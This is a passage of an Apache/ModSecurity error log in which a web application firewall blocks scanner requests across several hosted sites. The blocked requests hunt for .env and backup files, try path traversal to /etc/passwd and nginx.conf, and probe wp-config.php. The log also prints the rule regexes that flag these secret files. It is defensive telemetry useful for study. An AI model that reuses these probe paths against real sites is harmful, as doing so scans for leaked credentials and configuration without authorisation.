103.153.183.69:46030] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env.bak"] [unique_id "ai3yBsTA7b1mZrmcA-87BgAAAm0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.066490 2026] [security2:error] [pid 531797:tid 532126] [client 47.128.50.103:63816] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.helenloo.com"] [uri "/robots.txt"] [unique_id "ai3yBsTA7b1mZrmcA-87BwAAApE"] [Sat Jun 13 18:12:54.067524 2026] [security2:error] [pid 531155:tid 531331] [client 103.153.183.69:46080] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/images../config.php"] [unique_id "ai3yBimiP80klyS0NnoHawAAATg"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.072435 2026] [security2:error] [pid 531797:tid 531999] [client 103.153.183.69:46030] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env.bak"] [unique_id "ai3yBsTA7b1mZrmcA-87CAAAAhc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.103357 2026] [security2:error] [pid 531797:tid 532038] [client 103.153.183.69:46030] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/images../index.php"] [unique_id "ai3yBsTA7b1mZrmcA-87CQAAAj0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.112929 2026] [security2:error] [pid 531797:tid 531893] [remote 17.241.219.79:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 79.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yBsTA7b1mZrmcA-87CwACIx0"] [Sat Jun 13 18:12:54.156784 2026] [security2:error] [pid 531797:tid 531864] [remote 185.177.72.9:6010] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/laravel/.env"] [unique_id "ai3yBsTA7b1mZrmcA-87DgACewA"] [Sat Jun 13 18:12:54.291147 2026] [security2:error] [pid 531797:tid 531922] [remote 185.177.72.9:6010] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/core/.env"] [unique_id "ai3yBsTA7b1mZrmcA-87FgACXzo"] [Sat Jun 13 18:12:54.306922 2026] [security2:error] [pid 531797:tid 532082] [client 103.153.183.69:46098] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env.orig"] [unique_id "ai3yBsTA7b1mZrmcA-87GAAAAmg"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.335620 2026] [security2:error] [pid 531797:tid 532047] [client 103.153.183.69:46098] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env.orig"] [unique_id "ai3yBsTA7b1mZrmcA-87GQAAAkU"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.363441 2026] [security2:error] [pid 531797:tid 532052] [client 103.153.183.69:46098] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env.orig"] [unique_id "ai3yBsTA7b1mZrmcA-87HAAAAko"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.366730 2026] [access_compat:error] [pid 531797:tid 531884] [remote 57.141.14.80:36703] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:54.367150 2026] [access_compat:error] [pid 531797:tid 531884] [remote 57.141.14.80:36703] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:54.389697 2026] [security2:error] [pid 531797:tid 532030] [client 103.153.183.69:46098] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/%2F.env.orig"] [unique_id "ai3yBsTA7b1mZrmcA-87HQAAAjU"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.412895 2026] [access_compat:error] [pid 531155:tid 531253] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9tb3VzZTIvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:12:54.413323 2026] [access_compat:error] [pid 531155:tid 531253] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vZXZlbnQ1L2RldmljZS9tb3VzZTIvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:12:54.418072 2026] [security2:error] [pid 531155:tid 531385] [client 103.153.183.69:46106] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env.orig"] [unique_id "ai3yBimiP80klyS0NnoHgQAAAW4"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.424803 2026] [security2:error] [pid 531797:tid 531910] [remote 185.177.72.9:6010] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/vendor/.env"] [unique_id "ai3yBsTA7b1mZrmcA-87HwACRy4"] [Sat Jun 13 18:12:54.446016 2026] [security2:error] [pid 531155:tid 531379] [client 103.153.183.69:46106] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env.orig"] [unique_id "ai3yBimiP80klyS0NnoHggAAAWg"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.558264 2026] [security2:error] [pid 531797:tid 531985] [remote 185.177.72.9:6010] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/storage/.env"] [unique_id "ai3yBsTA7b1mZrmcA-87JQACJHg"] [Sat Jun 13 18:12:54.588414 2026] [security2:error] [pid 531155:tid 531324] [client 103.153.183.69:46106] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env.swp"] [unique_id "ai3yBimiP80klyS0NnoHiAAAATE"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.617028 2026] [security2:error] [pid 531155:tid 531328] [client 103.153.183.69:46106] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env.swp"] [unique_id "ai3yBimiP80klyS0NnoHiwAAATU"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.631194 2026] [access_compat:error] [pid 531797:tid 531917] [remote 57.141.14.74:61282] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:54.631641 2026] [access_compat:error] [pid 531797:tid 531917] [remote 57.141.14.74:61282] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:54.642908 2026] [security2:error] [pid 531155:tid 531380] [client 103.153.183.69:46106] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/.env.swp"] [unique_id "ai3yBimiP80klyS0NnoHjgAAAWk"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.689448 2026] [security2:error] [pid 531155:tid 531407] [client 103.153.183.69:46086] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "../etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/api../etc/passwd"] [unique_id "ai3yBimiP80klyS0NnoHkQAAAYQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.693041 2026] [security2:error] [pid 531797:tid 531883] [remote 185.177.72.9:6010] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/public/.env"] [unique_id "ai3yBsTA7b1mZrmcA-87KQACHBM"] [Sat Jun 13 18:12:54.698442 2026] [security2:error] [pid 531155:tid 531368] [client 103.153.183.69:46116] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env.swo"] [unique_id "ai3yBimiP80klyS0NnoHkgAAAV0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.717415 2026] [security2:error] [pid 531155:tid 531347] [client 103.153.183.69:46086] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "../etc/"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/api../etc/nginx/nginx.conf"] [unique_id "ai3yBimiP80klyS0NnoHlAAAAUg"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.726313 2026] [security2:error] [pid 531155:tid 531375] [client 103.153.183.69:46116] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env.swo"] [unique_id "ai3yBimiP80klyS0NnoHlQAAAWQ"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.739012 2026] [autoindex:error] [pid 531155:tid 531333] [client 43.164.1.211:47284] AH01276: Cannot serve directory /home4/geyserjz/public_html/norallahabuzekri/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:12:54.744475 2026] [security2:error] [pid 531155:tid 531381] [client 103.153.183.69:46086] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/api../.env"] [unique_id "ai3yBimiP80klyS0NnoHmAAAAWo"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.754529 2026] [security2:error] [pid 531155:tid 531346] [client 103.153.183.69:46116] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env.swo"] [unique_id "ai3yBimiP80klyS0NnoHmQAAAUc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.770450 2026] [security2:error] [pid 531155:tid 531320] [client 103.153.183.69:46086] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "smartagrico.com"] [uri "/api../wp-config.php"] [unique_id "ai3yBimiP80klyS0NnoHmwAAAS0"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.780640 2026] [security2:error] [pid 531155:tid 531378] [client 103.153.183.69:46116] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatch 127.0.0.1" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "1461"] [id "909116"] [msg "Golang default UA"] [hostname "smartagrico.com"] [uri "/%2F.env.swo"] [unique_id "ai3yBimiP80klyS0NnoHnAAAAWc"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.826897 2026] [security2:error] [pid 531797:tid 531869] [remote 185.177.72.9:6010] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/dev/.env"] [unique_id "ai3yBsTA7b1mZrmcA-87MAACXQU"] [Sat Jun 13 18:12:54.850639 2026] [security2:error] [pid 531797:tid 532076] [client 103.153.183.69:46130] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env.swo"] [unique_id "ai3yBsTA7b1mZrmcA-87MgAAAmI"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.857361 2026] [security2:error] [pid 531797:tid 532034] [client 103.153.183.69:46146] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/api../config.php"] [unique_id "ai3yBsTA7b1mZrmcA-87MwAAAjk"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.867320 2026] [security2:error] [pid 531797:tid 531923] [remote 17.22.253.242:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 242.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yBsTA7b1mZrmcA-87NAAChjs"] [Sat Jun 13 18:12:54.879921 2026] [security2:error] [pid 531797:tid 532108] [client 103.153.183.69:46130] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "smartagrico.com"] [uri "/.env.swo"] [unique_id "ai3yBsTA7b1mZrmcA-87NQAAAoE"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.883453 2026] [security2:error] [pid 531797:tid 532077] [client 103.153.183.69:46152] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 69.183.153.103.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "smartagrico.com"] [uri "/api../index.php"] [unique_id "ai3yBsTA7b1mZrmcA-87NgAAAmM"], referer: https://smartagrico.com/ [Sat Jun 13 18:12:54.905845 2026] [security2:error] [pid 531797:tid 532115] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/imap/tests/imap_createmailbox_basic.phpt"] [unique_id "ai3yBsTA7b1mZrmcA-87OwAAAog"] [Sat Jun 13 18:12:54.930157 2026] [access_compat:error] [pid 531155:tid 531180] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:12:54.930575 2026] [access_compat:error] [pid 531155:tid 531180] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQwL3Bvd2Vy [Sat Jun 13 18:12:54.960336 2026] [security2:error] [pid 531797:tid 531948] [remote 185.177.72.9:6010] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/api/v1/.env"] [unique_id "ai3yBsTA7b1mZrmcA-87PwACJVQ"] [Sat Jun 13 18:12:55.015438 2026] [access_compat:error] [pid 531797:tid 531960] [remote 57.141.14.110:45866] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:55.015794 2026] [access_compat:error] [pid 531797:tid 531960] [remote 57.141.14.110:45866] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:55.020964 2026] [security2:error] [pid 531797:tid 532044] [client 103.153.183.69:46130] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg 